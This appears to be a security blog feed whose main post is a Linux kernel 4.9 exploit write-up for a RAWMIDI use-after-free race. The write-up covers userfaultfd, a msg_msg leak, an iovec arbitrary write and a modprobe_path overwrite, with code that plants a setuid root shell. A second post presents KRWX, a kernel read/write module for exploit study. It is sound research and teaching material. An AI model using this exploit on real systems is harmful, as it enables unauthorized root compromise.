There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

What does a secure coder do? | Cybersecurity Career Series

20 June 2022 at 07:00
By: Infosec

Secure coders are responsible for developing and writing secure code in a way that protects against security vulnerabilities like bugs, defects and logic flaws. They take proactive steps to introduce secure coding methodologies before the application or software is introduced into a production environment, often following recommendations from the Open Web Application Security Project (OWASP) Foundation.

Learn more here: https://www.infosecinstitute.com/skills/train-for-your-role/secure-coder/

0:00 - Intro
0:25 - What does a secure coder do?
5:48 - How do you become a secure coder?
9:46 - What skills do secure coders need?
12:28 - What tools do secure coders use?
17:08 - What roles can secure coders transition into?
19:50 - What to do right now to become a secure coder

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Linux Kernel Exploit Development: 1day case study

13 June 2022 at 10:01
Read Time:25 Minute, 51 Second


I was searching for a vulnerability that permitted me to practise what I’ve learned in the last period on Linux Kernel Exploitation with a “real-life” scenario. Since I had a week to dedicate my time in Hacktive Security to deepen a specific argument, I decided to search for a public vulnerability without a public exploit to develop it by myself. After a quick introduction on how I found the known vulnerability, I will detail the exploitation phase of a race condition that leads to a Use-After-Free in Linux kernel 4.9.


This blog post has two parts:

  • Vulnerability hunting: About public resources to identify known vulnerabilities in the Linux Kernel in order to practise some Kernel Exploitation in a real-life scenario. These resources includes: BugZilla, SyzBot, changelogs and git logs.
  • Kernel Exploitation: The vulnerability is a Race Condition that causes a write Use-After-Free. The race window has been extended using the userfaultd technique handling page faults from user-space and using msg_msg to leak a kernel address and I/O vectors to obtain a write primitive. With the write primitive, the modprobe_path global variable has been overwritten and a root shell popped.

Public bugs

The first thing I asked myself was: how do I find a suitable bug for my purpose? I excluded searching it by CVE since not all vulnerabilities have an assigned CVE (and usually they are the most “famous” ones) and that’s when I used the most powerful hacking skill: googling. That led me to various resources that I would like to share today starting by saying that that’s only the result of my personal work that could not reflect the best way to perform the same job. That said, this is what I’ve used to find my “matched” Nday:

  • Bugzilla
  • SyzBot
  • Changelogs
  • Git log

Kernel changelogs is definetly my favourite one but let’s say few words on all of them.


BugZilla is the standard way to report bugs in the upstream Linux kernels. You can find interesting vulnerabilities organised by subsystem (e.g. Networking with IPv4 and IPv6 or file system with ext* types and so on) and you can also search for keywords (such as “overflow”, “heap”, “UAF” and so on ..) using the standard search or the more advanced one. The personal downside is the mix of a lot of “non vulnerabilities”, hangs and stuff like that. Also, you do not have the most powerful search options (e.g. some bash). However, it is still a good option and I personally pinned few vulnerabilities that i excluded afterwards.


“syzbot is a continuous fuzzing/reporting system based on syzkaller fuzzer” (Introducing the syzbot dashboard).
Not the best GUI but at least you can have a lot of potentially open and fixed vulnerabilties. There isn’t a built-in search option but you can use your browser’s one or parse the HTML with an HTML parser. One of the downside, beyond the lack of searching, is the presence of tons of false-positives (in the “Open section”). However, upsides are pretty good: you can find open vulnerabilites (still not fixed), reproducers (C or syzlang), fixed commits and reported issues have the syzkaller nomenclature that is pretty self-explainationary.

Syzkaller-bugs (Google Group)

The lack of a search functionality in syz-bot is well replaced by the “syzkaller-bugs” Google Group from where you can find syz-bot reported bugs with additional information from the comment section and an enanched search bar. I really enjoy this option !


That’s my favourite method: download all changelogs from the kernel CDN of your desired kernel version and you can enjoy all downloaded files with your favourite bash commands. This approach is similar to search from git commits but with the advantage that it is way faster. With some bash-fu, you can download all changelogs for a target kernel version (e.g. 4.x) with the following inline: URL=https://cdn.kernel.org/pub/linux/kernel/v4.x/ && curl $URL | grep "ChangeLog-4.9" | grep -v '.sign' | cut -d "\"" -f 2 | while read line; do wget "$URL/$line"; done.
Once all changelogs have been downloaded it’s possible to grep for juicy keywoards like UAF, OOB, overflow and so on. I found very useful to display text before and after the selected keyword, like: grep -A5 -B5 UAF *. In that way, you can instantly have quick information about vulnerability details, impacted subsystem, limitations, ..
For each identified vulnerability, it’s possible to see its patch by diffing the patch commit with the previous one (linux source from git is needed): git diff <commit before> <commit patch>.

Git log

As said before, this is a similar approach to the “Changelogs” method. The concept is pretty simple: clone the github repository and search for juicy keywoards in the commit history. You can do that with the following commands:

git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
cd linux-stable
git checkout -f <TAG -> # e.g. git checkout -f v4.9.316 (from https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git)
git log > ../git.log

In that way, you can do the same thing as before on git.log file. The big downside, however, is that the file is too big and it takes more time (11.429.573 lines on 4.9.316). That’s the reason why I prefer the “Changelog” method.

Hunt for a good vulnerability

I was searching for an Use-After-Free vulnerability and I started to search for it in all mentioned resources: BugZilla, SyzBot, Changelogs and git history. I wrote them down in a table with a resume description in order to further analyze them later on. I started to dig into few of them viewing their patch and source code in order to understand reachability, compile dependencies and exploitability. I strumbled into an interesting one: a vulnerability in the RAWMIDI interface (commit c13f1463d84b86bedb664e509838bef37e6ea317). I discovered it with the “Changelog” method, by searching for the “UAF” keyword reading the previous and next five lines: grep -A5 -B5 UAF *. By seeing its behaviours, I was convinced to go with that vulnerability, an Use-After-Free triggered in a race condition.

RAWMIDI interface

Before facing the vulnerability, let’s see few important things needed to follow this write-up. The vulnerable driver is exposed as a character device in /dev/snd/midiC0D* (or similar name based on the platform) and depends on CONFIG_SND_RAWMIDI. It exposes the following file operations:

// https://elixir.bootlin.com/linux/v4.9.224/source/sound/core/rawmidi.c#L1507
static const struct file_operations snd_rawmidi_f_ops =
	.owner =	THIS_MODULE,
	.read =		snd_rawmidi_read,
	.write =	snd_rawmidi_write,
	.open =		snd_rawmidi_open,
	.release =	snd_rawmidi_release,
	.llseek =	no_llseek,
	.poll =		snd_rawmidi_poll,
	.unlocked_ioctl =	snd_rawmidi_ioctl,
	.compat_ioctl =	snd_rawmidi_ioctl_compat,

The ones we are interesed into are openwrite and unlocked_ioctl.


The open (snd_rawmidi_open) operation allocates everything needed to interact with the device, but what is just necessary to know for us is the first allocation of snd_rawmidi_runtime->buffer as GFP_KERNEL with a size of 4096 (PAGE_SIZE) bytes. This is the snd_rawmidi_runtime struct:

struct snd_rawmidi_runtime {
	struct snd_rawmidi_substream *substream;
	unsigned int drain: 1,	/* drain stage */
		     oss: 1;	/* OSS compatible mode */
	/* midi stream buffer */
	unsigned char *buffer;	/* buffer for MIDI data */
	size_t buffer_size;	/* size of buffer */
	size_t appl_ptr;	/* application pointer */
	size_t hw_ptr;		/* hardware pointer */
	size_t avail_min;	/* min avail for wakeup */
	size_t avail;		/* max used buffer for wakeup */
	size_t xruns;		/* over/underruns counter */
	/* misc */
	spinlock_t lock;
	wait_queue_head_t sleep;
	/* event handler (new bytes, input only) */
	void (*event)(struct snd_rawmidi_substream *substream);
	/* defers calls to event [input] or ops->trigger [output] */
	struct work_struct event_work;
	/* private data */
	void *private_data;
	void (*private_free)(struct snd_rawmidi_substream *substream);


After having allocated everything from the open operation, we can write into the file descriptor like write(fd, &buf, 10). In that way, it will fill 10 bytes into the snd_rawmidi_runtime->buffer and using snd_rawmidi_runtime->appl_ptr it will remember the offset to start writing again later.
In order to write into that buffer, the driver does the following calls: snd_rawmidi_write => snd_rawmidi_kernel_write1 => copy_from_user


The snd_rawmidi_ioctl is responsible to handle IOCTL commands and the one we are interested in is SNDRV_RAWMIDI_IOCTL_PARAMS that calls snd_rawmidi_output_params with user-controllable parameter:

int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
			      struct snd_rawmidi_params * params)
	// [..] few checks
	if (params->buffer_size != runtime->buffer_size) {
		newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //[1]
		if (!newbuf)
			return -ENOMEM;
		oldbuf = runtime->buffer;
		runtime->buffer = newbuf; // [2]
		runtime->buffer_size = params->buffer_size;
		runtime->avail = runtime->buffer_size;
		runtime->appl_ptr = runtime->hw_ptr = 0;
		kfree(oldbuf); //[3]
	// [..]

This IOCTL is crucial for this vulnerability. With this command it’s possible to re-size the internal buffer with an arbitrary value reallocating it[1] and later replace that buffer with the older one [2], that will be freed[3].

Vulnerability Analysis

The vulnerability has been patched by the commit “c13f1463d84b86bedb664e509838bef37e6ea317” that introduced a reference counter on the targeted vulnerable buffer. In order to understand where the vulnerbility lived it’s a good thing to see its patch:

diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
index 5432111c8761..2a87128b3075 100644
--- a/include/sound/rawmidi.h
+++ b/include/sound/rawmidi.h
@@ -76,6 +76,7 @@ struct snd_rawmidi_runtime {
        size_t avail_min;       /* min avail for wakeup */
        size_t avail;           /* max used buffer for wakeup */
        size_t xruns;           /* over/underruns counter */
+       int buffer_ref;         /* buffer reference count */
        /* misc */
        spinlock_t lock;
        wait_queue_head_t sleep;
diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
index 358b6efbd6aa..481c1ad1db57 100644
--- a/sound/core/rawmidi.c
+++ b/sound/core/rawmidi.c
@@ -108,6 +108,17 @@ static void snd_rawmidi_input_event_work(struct work_struct *work)
+/* buffer refcount management: call with runtime->lock held */
+static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
+       runtime->buffer_ref++;
+static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
+       runtime->buffer_ref--;
 static int snd_rawmidi_runtime_create(struct snd_rawmidi_substream *substream)
        struct snd_rawmidi_runtime *runtime;
@@ -654,6 +665,11 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
                if (!newbuf)
                        return -ENOMEM;
+               if (runtime->buffer_ref) {
+                       spin_unlock_irq(&runtime->lock);
+                       kfree(newbuf);
+                       return -EBUSY;
+               }
                oldbuf = runtime->buffer;
                runtime->buffer = newbuf;
                runtime->buffer_size = params->buffer_size;
@@ -962,8 +978,10 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
        long result = 0, count1;
        struct snd_rawmidi_runtime *runtime = substream->runtime;
        unsigned long appl_ptr;
+       int err = 0;
        spin_lock_irqsave(&runtime->lock, flags);
+       snd_rawmidi_buffer_ref(runtime);
        while (count > 0 && runtime->avail) {
                count1 = runtime->buffer_size - runtime->appl_ptr;
                if (count1 > count)
@@ -982,16 +1000,19 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
                if (userbuf) {
                        spin_unlock_irqrestore(&runtime->lock, flags);
                        if (copy_to_user(userbuf + result,
-                                        runtime->buffer + appl_ptr, count1)) {
-                               return result > 0 ? result : -EFAULT;
-                       }
+                                        runtime->buffer + appl_ptr, count1))
+                               err = -EFAULT;
                        spin_lock_irqsave(&runtime->lock, flags);
+                       if (err)
+                               goto out;
                result += count1;
                count -= count1;
+ out:
+       snd_rawmidi_buffer_unref(runtime);
        spin_unlock_irqrestore(&runtime->lock, flags);
-       return result;
+       return result > 0 ? result : err;
 long snd_rawmidi_kernel_read(struct snd_rawmidi_substream *substream,
@@ -1262,6 +1283,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
                        return -EAGAIN;
+       snd_rawmidi_buffer_ref(runtime);
        while (count > 0 && runtime->avail > 0) {
                count1 = runtime->buffer_size - runtime->appl_ptr;
                if (count1 > count)
@@ -1293,6 +1315,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
        count1 = runtime->avail < runtime->buffer_size;
+       snd_rawmidi_buffer_unref(runtime);

Two functions were added: snd_rawmidi_buffer_ref and snd_rawmidi_buffer_unref. They are respectively used to take and remove a reference to the buffer using snd_rawmidi_runtime->buffer_ref when it is copying (snd_rawmidi_kernel_read1) or writing (snd_rawmidi_kernel_write1) into that buffer. But why this was needed? Because read and write operations handled by snd_rawmidi_kernel_write1 and snd_rawmidi_kernel_read1 temporarly unlock the runtime lock during the copying from/to userspace using spin_unlock_irqrestore[1]/spin_lock_irqrestore[2] giving a small race window where the object can be modified during the copy_from_user call:

static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, const unsigned char __user *userbuf, const unsigned char *kernelbuf, long count) {
	// [..]
			spin_unlock_irqrestore(&runtime->lock, flags); // [1]
			if (copy_from_user(runtime->buffer + appl_ptr,
					   userbuf + result, count1)) {
				spin_lock_irqsave(&runtime->lock, flags);
				result = result > 0 ? result : -EFAULT;
				goto __end;
			spin_lock_irqsave(&runtime->lock, flags); // [2]
	// [..]


If a concurrent thread re-allocate the runtime->buffer using the SNDRV_RAWMIDI_IOCTL_PARAMS ioctl, that thread can lock the object from spin_lock_irq [1] (that has been left unlocked in the small race window given by snd_rawmidi_kernel_write1) and free that buffer[2], making possible to re-allocate an arbitrary object and write on that. Also, the kmalloc[3] in snd_rawmidi_output_params is called with params->buffer_size that is totally user controllable.

int `snd_rawmidi_output_params`(struct snd_rawmidi_substream *substream,
			      struct snd_rawmidi_params * params)
	// [..]
	if (params->buffer_size != runtime->buffer_size) {
		newbuf = kmalloc(params->buffer_size, GFP_KERNEL); // [3]
		if (!newbuf)
			return -ENOMEM;
		spin_lock_irq(&runtime->lock); // [1]
		oldbuf = runtime->buffer;
		runtime->buffer = newbuf;
		runtime->buffer_size = params->buffer_size;
		runtime->avail = runtime->buffer_size;
		runtime->appl_ptr = runtime->hw_ptr = 0;
		kfree(oldbuf); // [3]
	// [..]

What happen if, while a thread is writing into the buffer with copy_from_user, another thread frees that buffer using the SNDRV_RAWMIDI_IOCTL_PARAMS ioctl and reallocates a new arbitrary one? The object is replaced with an new one and the copy_from_user will continue writing into another object (the “victim object”) corrupting its values => User-After-Free (Write).

The really good part about this vulnerability is the “freedom” you can have:

  • It’s possible to call kmalloc with an arbitrary size (and this will be the freed object that we are going to replace to cause a UAF) which means that we can target our favourite slab cache (based on what we need, ofc)
  • We can write as much as we want in the buffer with the write syscall

Extend the Race Time Window

We know we have a small race window with few instructions while copying data from userland to kernel as explained before, but the great news is that we have a copy_from_user that can be suspended arbitrarly handling page fault in user-space ! Since I was exploiting the vulnerability in a 4.9 kernel (4.9.223) and hence userfaultd is still not unprivileged as in >5.11, we can still use it to extend our race window and have the necessary time to re-allocate a buffer!

Exploitation Plan

We stated that we are going to use the userfaultd technique to extend the time window. If you are new to this technique is well explained here, in this video (you can use substitles) and here. To summarize: you can handle page faults from user-land, temporarly blocking kernel execution while handling the page fault. If we mmap a block of memory with MAP_ANONYMOUS flag, the memory will be demand-zero paged, meaning that it’s not yet allocated and we can allocate it via userfaultd.
The idea using this technique is:

  • Initialize the runtime->buffer with open => This will allocate the buffer with 4096 size (that will land in kmalloc-4096)
  • Send SNDRV_RAWMIDI_IOCTL_PARAMS ioctl command in order to re-allocate the buffer with our desired size (e.g. 30 wil land in kmalloc-32)
  • Allocate with mmap a demand-zero paged (MAP_ANON) and initialize userfaultd to handle its page fault
  • write to the rawmidi file descriptor using our previously allocated mmaped memory => This will trigger the userland page fault in copy_from_user
  • While the kernel thread is suspended waiting for the userland page fault we can send again the SNDRV_RAWMIDI_IOCTL_PARAMS in order to free the current runtime->buffer
  • We allocate an object in, for example, kmalloc-32 and if we did some spray before on that cache it will take the place of the previous freed runtime->buffer
  • We release the page fault from userland and the copy_from_user will continue writing its data (totally in user control) to the new allocated object

With this primitive, we can forges arbitrary objects with arbitrary size (specified in the write syscall), arbitrary contentarbitrary offset (since we can trigger userfaultd between two pages as demostrated later on) and arbitrary cache (we can control the size allocation in the SNDRV_RAWMIDI_IOCTL_PARAMS ioctl).
As you can deduce, we have a really great and powerful primitive !

Information Leak

Victim Object

We are going to use what we previously explained in the “Exploitation Plan” section to leak an address that we will re-use to have an arbitrary write. Since we can choose which cache trigger the UAF on (and that’s gold from an exploitation point of view) I choose to leak the shm_file_data->ns pointer that points to init_ipc_ns in the kernel .data section and it lives in kmalloc-32 (I also used the same function to spray the kmalloc-32 cache):

void alloc_shm(int i)
	int shmid[0x100]     = {0};
	void *shmaddr[0x100] = {0};
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
    if (shmid[i]  < 0) errExit("shmget");
    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
    if (shmaddr[i] < 0) errExit("shmat");

From that pointer, we will deduce the pointer of modprobe_path in order to use that technique later to elevate our privileges.


struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */

struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */

In order to leak that address, however, we have to compromise some other object in kmalloc-32, maybe a length field that would read after its own object. For that case, msg_msg is our perfect match because it has a length field specified in its msg_msg->m_ts and it can be allocated in almost any cache starting from kmalloc-32 to kmalloc-4096, with just one downside: The minimun allocation for the msg_msg struct is 48 (sizeof(struct msg_msg)) and it can lands minimun at kmalloc-64.
If you want to read more about this structure you can checkout Fire of Salvation WriteupWall Of Perdition and the kernel source code.
However, when a message is sent using msgsnd with size more than DATALEN_MSG (((size_t)PAGE_SIZE-sizeof(struct msg_msg))) that is 4096-48, a segment (or multiple segments if needed) is allocated, and the message is splitted between the msg_msg (the payload is just after the struct headers) and the msg_msgseg, with the total size of the message specified in msg_msg->m_ts.

In order to allocate our target object in kmalloc-32 we have to send a message with size: ( ( 4096 – 48 ) + 10 ).

  • The msg_msg structure will be allocated in kmalloc-4096 and the first (4096 – 48) bytes will be written in the msg_msg structure.
  • To allocate the remaining 10 bytes, a segment msg_msgseg will be allocated in kmalloc-32

With these conditions, we can forge the msg_msg structure in kmalloc-4096 overwriting its m_ts value with our UAF and with msgrcv we can receive a message that will contains values past our segment allocated in kmalloc-32 (including our targeted init_ipc_ns pointer).

Dealing with offsets

However, we want to overwrite the m_ts value without overwriting anything else in the msg_msg structure, how we can do that?
If you remember, I said we can overwrite chunks with arbitrary size, content and offset. If we create a mmap memory with size PAGE_SIZE * 2 (two pages) and we handle the page fault only for the second page, we can start writing into the original runtime->buffer and trigger the page fault when it receives the msg_msg->m_ts offset (0x18). Now that the kernel thread is blocked, it’s possible to replace the object with msg_msg and when the copy_from_user resumes, it will starts writing exactly at the msg_msg->m_ts value the remaining bytes. The size we are writing into the file descriptor is (0x18 + 0x2) since the first 0x18 bytes will be used to land at the exact offset and the 2 remaining bytes will write 0xffff in msg_msg->m_ts. The concept is also explained in the following picture:

Now from the received message from msgrcv we can retrieve the init_ipc_ns pointer from shm_file_data and we can deduce the modprobe_path address calculating its offset and proceed with the arbitrary write phase.

Arbitrary Write

In order to write at arbitrary locations we are using the same userfault technique described above but instead of targeting msg_msg we will use the Vectored I/O (pipe + iovec) primitive. This primitive has been fixed in kernel 4.13 with copyin and copyout wrappers, with an access_ok addition. This technique has been widely used exploiting the Android Binder CVE-2019-2215 and is well detailed here and here.

The idea is to trigger the UAF once again but targeting the iovec struct:

struct iovec
	void __user *iov_base;	/* BSD uses caddr_t (1003.1g requires void *) */
	__kernel_size_t iov_len; /* Must be size_t (1003.1g) */

The minimun allocation for iovec occurs with sizeof(struct iovec) * 9 or 16 * 9 (144) that will land at kmalloc-192 (otherwise it is stored in the stack). However I choose to allocate 13 vectors using readv to make the object land in kmalloc-256.

    int pipefd[2];
    // [...]
    struct iovec iov_read_buffers[13] = {0};
    char read_buffer0[0x100];
    memset(read_buffer0, 0x52, 0x100);
    iov_read_buffers[0].iov_base = read_buffer0;
    iov_read_buffers[0].iov_len= 0x10;
    iov_read_buffers[1].iov_base = read_buffer0;
    iov_read_buffers[1].iov_len= 0x10;
    iov_read_buffers[8].iov_base = read_buffer0;
    iov_read_buffers[8].iov_len= 0x10;
    iov_read_buffers[12].iov_base = read_buffer0;
    iov_read_buffers[12].iov_len= 0x10;

        ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256

The readv is a blocking call that stays (does not free) the object in the kernel so that we can corrupt it using our UAF and re-use it later with our arbitrary modified content. If we corrupt the iov_base of an iovec structure we can write at arbitrary kernel addresses with a write syscall since it is uses the unsafe __copy_from_user (same as copy_from_user but without checks).

Our idea is:

  • Resize the runtime->buffer with SNDRV_RAWMIDI_IOCTL_PARAMS in order to lands intokmalloc-256 with a size greater than 192
  • write into the file descriptor specifycing a demanded-zero paged memory (MAP_ANON) so that copy_from_user will stop its execution waiting for our user-land page fault handler
  • While the kernel thread is waiting, free the buffer using again the re-size ioctl command SNDRV_RAWMIDI_IOCTL_PARAMS
  • Allocate the iovec struct using readv that will replace the previously allocated runtime->buffer
  • Resume the kernel execution releasing the page fault handler. Now the copy_from_user will start to write into the iovec structure and we will overwrite iov[1].iov_base with the modprobe_path address.

Now, in order to overwrite the modprobe_path value we just have to write our arbitrary content using the write syscall into pipe[0]. In the released exploit I overwrote the second iov entry (iov[1]) using the same technique described before with adjacent pages. However, it’s also possible to directly overwrite the first iov[0].iov_base.

Nice ! Now we have overwritten modprobe_path with /tmp/x and .. it’s time to pop a shell !

modprobe_path & uid=0

If you are not familiar with modprobe_path I suggest you to check out Exploiting timerfd_ctx Objects In The Linux Kernel and the man page.
To summarize, modprobe_path is a global variable with a default value of /sbin/modprobe used by call_usermodehelper_exec to execute a user-space program in case a program with an unkown header is executed.
Since we have overwritten modprobe_path with /tmp/x, when a file with an unknown header is executed, our controllable script is executed as root.

These are the exploit functions that prepares and later executes a suid shell:

void prep_exploit(){
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'touch /tmp/pwneed' >> /tmp/x");
    system("echo 'chown root: /tmp/suid' >> /tmp/x");
    system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
    system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
    system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
    system("chmod +x /tmp/x");
    system("chmod +x /tmp/nnn");

void get_root_shell(){
    system("/tmp/nnn 2>/dev/null");
    system("/tmp/suid 2>/dev/null");

int main(){
	// [..] exploit stuff
	get_root_shell(); // pop a root shell

What the exploit does is simply create the /tmp/x binary that will suid as root a file dropped in /tmp/suid and create a file with an unknown header (/tmp/nnn) that will trigger the executon as root of /tmp/x from call_usermodehelper_exec. After that, the /tmp/suid gives root privileges and spawns a root shell.


/ $ uname -a                                   
Linux (none) 4.9.223 #3 SMP Wed Jun 1 23:15:02 CEST 2022 x86_64 GNU/Linux 
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ /main 
[*] Starting exploitation ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to 4096 ..
[*] snd_write triggered (should fault) 
[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x5551000!
s -l[*] Replacing freed obj with msg_msg .
[*] Waiting for userfaultd to finish ..
[*] Page fault thread terminated
[+] Page fault lock released
[+] init_ipc_ns @0xffffffff81e8d560
[+] calculated modprobe_path @0xffffffff81e42a00
[+] Starting the arbitrary write phase ..
[*] Closing and reopening re-opening rawmidi fd ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to land into kmalloc-256 ..
[*] snd_write triggered (should fault) 
[+] Page Fault triggered for 0x7771000!
[*] Waiting for readv ..
[*] Page fault thread terminated
[+] Page fault lock released
[*] Writing into the pipe ..
[*] write = 24
[+] enjoy your r00t shell [:
/ # id
uid=0(root) gid=0 groups=1000
/ #


I illustrated my experience on finding a public vulnerability using public resources to practise some linux kernel exploitation. Once identified a good candiate, I developed the exploit for a 4.9 kernel achieving arbitrary read and write. With tese primitives, a root shell was spawned.

You can find the whole exploit here: https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit


  • https://bugzilla.kernel.org/
  • https://www.kernel.org/doc/html/v4.19/admin-guide/reporting-bugs.html
  • https://lwn.net/Articles/749910/
  • https://groups.google.com/g/syzkaller-bugs/
  • https://cdn.kernel.org/pub/linux/kernel/
  • https://elixir.bootlin.com/linux/v4.9.223/source/
  • https://lwn.net/Articles/819834/
  • https://www.youtube.com/watch?v=6dFmH_JEF4s
  • https://blog.lizzie.io/using-userfaultfd.html
  • https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
  • https://syst3mfailure.io/wall-of-perdition
  • https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
  • https://cloudfuzz.github.io/android-kernel-exploitation/chapters/exploitation.html#leaking-task-struct-pointer
  • https://syst3mfailure.io/hotrod
  • https://man7.org/linux/man-pages/man2/userfaultfd.2.html
  • https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit
0 0 %
0 0 %
1 50 %
0 0 %
0 0 %
1 50 %

KRWX: Kernel Read Write Execute

12 March 2022 at 15:41
Read Time:5 Minute, 33 Second


Github project: https://github.com/kiks7/KRWX

During the last few months/year I was studying and approaching the Kernel Exploitation subject and during this journey I developed few tools that assissted me (and currently assist) on better understanding specific topics. Today I want to release my favourine one: KRWX (Kernel Read Write Execute). It is a simple LKM (Linux Kernel Module) that lets you play with kernel memory, allocate and free kernel objects directly from user-land!


The main goal of this tool is to use kernel functions from userland (from C code) in order to avoid slower kernel debugging and developing of kernel modules to demostrate specific vulnerabilities (instead, you can emulate them with provided IOCTLs). Also, it can assist the exploitation phase.
These are the project main features (all these features are accessible from a low level user from user-land):

  • Read and write into kernel memory
  • Read entire blocks of memory
  • Arbitrary allocate objects directly calling kmalloc
  • Arbitrary kfree objects (and also free arbitrary addresses, if you want)
  • Allocate/free multiple objects
  • Log every copy_[from|to]_user/ kmalloc/kfree called by the KRWX module through hooking (readable from dmesg).

Mainly, a more powerful read and write primitive :]


Initially I was writing this module to study the SLUB memory allocator in Linux by allocating, freeing and re-allocating arbitrary chunks easily from an userland process. That automatically leads to study also some exploitation techniques that, with this module, I found a lot easier to understand since you can easily play with kernel memory as you are the god of your system. Then I started to heavily use it for multiple purposes and that’s the reason why I’m sharing it.


These are some exported functions:

  • void* kmalloc(size_t arg_size, gfp_t flags) -> Allocate a chunk with specific size and flag options.
  • int kfree(void* address) -> Free arbitrary chunks by their address (also, you can free arbitrary memory).
  • unsigned long int kread64(void* address) -> Read 8 bytes of memory at address.
  • int kwrite64(void* address, uint64_t value) -> Write 8 bytes specified by value into address.
  • void read_memory(void* start_address, size_t size) -> Read size amount of memory starting from start_address.

And, since one of my favourite hobby is overengineer and I’m lazy enough to do not want to write loops everytime:

  • void multiple_kmalloc(void** array, uint32_t n_objs, uint32_t size) -> Allocate n_objs number of objects with specified size and return addresses in array.
  • void multiple_kfree(void** array, uint64_t to_free[], uint64_t to_free_size) -> Free specified addresses in to_free from array (to_free_size is the size of the to_free array). If you’re interested in the source code feel free to check out the github project.


Allocate, free and read arbitrary chunks

You can find the full source code in example/01.c. Here will follows some snippets and a little walkthrough.

First, include the external library and call its initialization function (init_krwx):

#include "./lib/krwx.h"

int main(){

So, 10 chunks with size 256 are allocated using multiple_kmalloc, and the memory of the 7th allocation is read using read_memory after writing 0x4141414141414141 at its first bytes:

void* chunks[10];
multiple_kmalloc(&chunks, 10, 256);
kwrite64(chunks[7], 0x4141414141414141);
read_memory(chunks[7], 0x10);

The indexes 3, 4 and 7 of the chunks array are freed using multiple_kfree:

uint64_t to_free[] = {3, 4, 7};
multiple_kfree(&chunks, &to_free, ( sizeof(to_free) / sizeof(uint64_t) ) );

Once they are freed, new chunks with the same size are allocated and initialized with 0x4343434343434343, and the memory of the 7h freed chunk is displayed using read_memory again:

kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
kwrite64(kmalloc(256, _GFP_KERN), 0x4343434343434343);
read_memory(chunks[7], 0x10);

The result is:

[*] Allocating 10 chunks with size 256
[*] Allocated @0xffffffc00503b900
[*] Allocated @0xffffffc00503b600
[*] Allocated @0xffffffc00503b100
[*] Allocated @0xffffffc00503bc00
[*] Allocated @0xffffffc00503b400
[*] Allocated @0xffffffc00503b000
[*] Allocated @0xffffffc00503b500
[*] Allocated @0xffffffc00503b800
[*] Allocated @0xffffffc00503ba00
[*] Allocated @0xffffffc00503bd00
0xffffffc00503b800:     0x4141414141414141 0xffffffc0001a8928
[*] Freeing @0xffffffc00503bc00
[*] Freeing @0xffffffc00503b400
[*] Freeing @0xffffffc00503b800
0xffffffc00503b800:     0x4343434343434343 0xffffffc0001a8928

With few lines of code has been demostrated how our 7th chunk has been replaced with a new one after it has been freed (the read_memory targeted the chunks[7]).
As simple as it is, it has been written for demonstration purposes.


To simulate a UAF scenario it’s simple as few lines of code:

void* chunk = kmalloc(<SIZE>, <FLAGS>);
// Allocate your target chunk
// Simulate UAF using k[write|read]64()

For example, if we want to simulate an attack scenario where we want to replace our vulnerable freed chunk with a target object (for example an iovec struct) we can allocate a chunk with kmalloc and later kfree it just before allocating the target structure:

// Allocate the vulnerable object
void* chunk = kmalloc(150, _GFP_KERN);
// Allocate target object
struct iovec iov[10] = {0};
char iov_buf[0x100];
iov[0].iov_base = iov_buf;
iov[0].iov_len = 0x1000;
iov[1].iov_base = iov_buf;
iov[1].iov_len = 0x1337;
int pp[2];
    kfree(chunk); // Freeing the chunk just before allocating the iovec
    readv(pp[0], iov, 10); // allocate iovec and blocks (keeping the object in the kernel) 
sleep(1); // Give time to the child process
read_memory(chunk, 0x40);

Then, with read_memory we can show the block of memory in our interest and as you can see from the following output, our arbitrary allocated/freed object has been replaced with the target object:

Allocated chunk @0xffffffc0052c5a00
0xffffffc0052c5a00:     0x0000007fd311ff58 0x0000000000001000
0xffffffc0052c5a10:     0x0000007fd311ff58 0x0000000000001337
0xffffffc0052c5a20:     0x0000000000000000 0x0000000000000000
